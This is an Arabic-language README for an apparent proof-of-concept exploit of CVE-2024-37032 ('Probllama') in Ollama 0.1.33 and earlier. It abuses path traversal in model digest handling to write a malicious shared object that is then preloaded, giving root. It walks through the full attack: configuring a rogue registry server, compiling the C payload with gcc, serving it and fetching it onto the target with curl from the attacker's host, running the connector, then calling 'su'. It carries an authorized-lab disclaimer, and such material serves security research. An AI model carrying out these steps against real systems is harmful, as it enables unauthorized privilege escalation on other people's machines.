
CVE-2024-37032 (Probllama) PoC لأ Ollama ≤0.1.33: اجتياز المسار وكتابة ملفات عشوائية عبر معالجة ملخص النموذج، مما يؤدي إلى تصعيد امتيازات آلي.
يحتوي هذا المستودع على خادم تسجيل FastAPI لإثبات المفهوم، ونص توصيل، ومكتبة تجريبية للتحميل المسبق للاختبار المختبري المصرح به.
استخدم هذا فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
server.py: يبدأ خادم FastAPI لإثبات المفهوم.rogue_server/config.py: الإعدادات المركزية لخادم إثبات المفهوم.connector.py: يرسل طلبات السحب/الدفع إلى واجهة Ollama API المستهدفة.preload_privs_demo.c: كود مصدر C لحمولة الكائن المشترك.requirements.txt: تبعيات Python لخادم إثبات المفهوم.على جهازك المضيف، قم بتثبيت تبعيات Python:
python -m pip install -r requirements.txt
قم بتحرير rogue_server/config.py على جهازك المضيف:
HOST = "<your_host_ip_or_host_ip>"
قم بتحرير connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
ملاحظات:
SERVER_HOST إلى المضيف الذي يشغل server.py.8000، أدرج المنفذ في كل من HOST و SERVER_HOST، على سبيل المثال 10.10.16.160:8000.TARGET_HOST و TARGET_PORT إلى واجهة Ollama API المستهدفة. إذا كان connector.py يعمل مباشرة على الجهاز المستهدف، فإن 127.0.0.1:11434 صحيح عادةً.rogue_server/config.py، أعد تشغيل خادم إثبات المفهوم.قم بتجميع ملف C وسمّ الناتج libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
انسخ هذه الملفات إلى الجهاز المستهدف المصرح به:
libpreload_privs_demo.soconnector.pyطريقة بسيطة هي تقديمها من جهازك المضيف:
python3 -m http.server 8081
ثم قم بتنزيلها من الجهاز المستهدف:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
بعد تنزيل الكائن المشترك، انسخ مساره المطلق على الجهاز المستهدف واضبط نفس المسار كـ exploit_path في rogue_server/config.py على الجهاز المضيف.
مثال:
exploit_path = "/tmp/libpreload_privs_demo.so"
ابدأ خادم FastAPI على جهازك المضيف:
python server.py
افتراضيًا، يبدأ هذا المشروع Uvicorn على 0.0.0.0:8000.
على الجهاز المستهدف المصرح به، قم بتشغيل:
python3 connector.py
يرسل الموصل طلبات السحب والدفع إلى واجهة Ollama API المُعدّة.
بعد انتهاء الموصل، قم بتشغيل:
su
في هدف مخبري ضعيف ومُعد بشكل صحيح، يجب استخدام مسار التحميل المسبق ويمكن ملاحظة انتقال الامتياز.
SERVER_HOST في connector.py يطابق HOST في rogue_server/config.py.exploit_path هو المسار المطلق الدقيق الذي يوجد به libpreload_privs_demo.so على الجهاز المستهدف.TARGET_HOST:TARGET_PORT.server.py بعد تغيير rogue_server/config.py.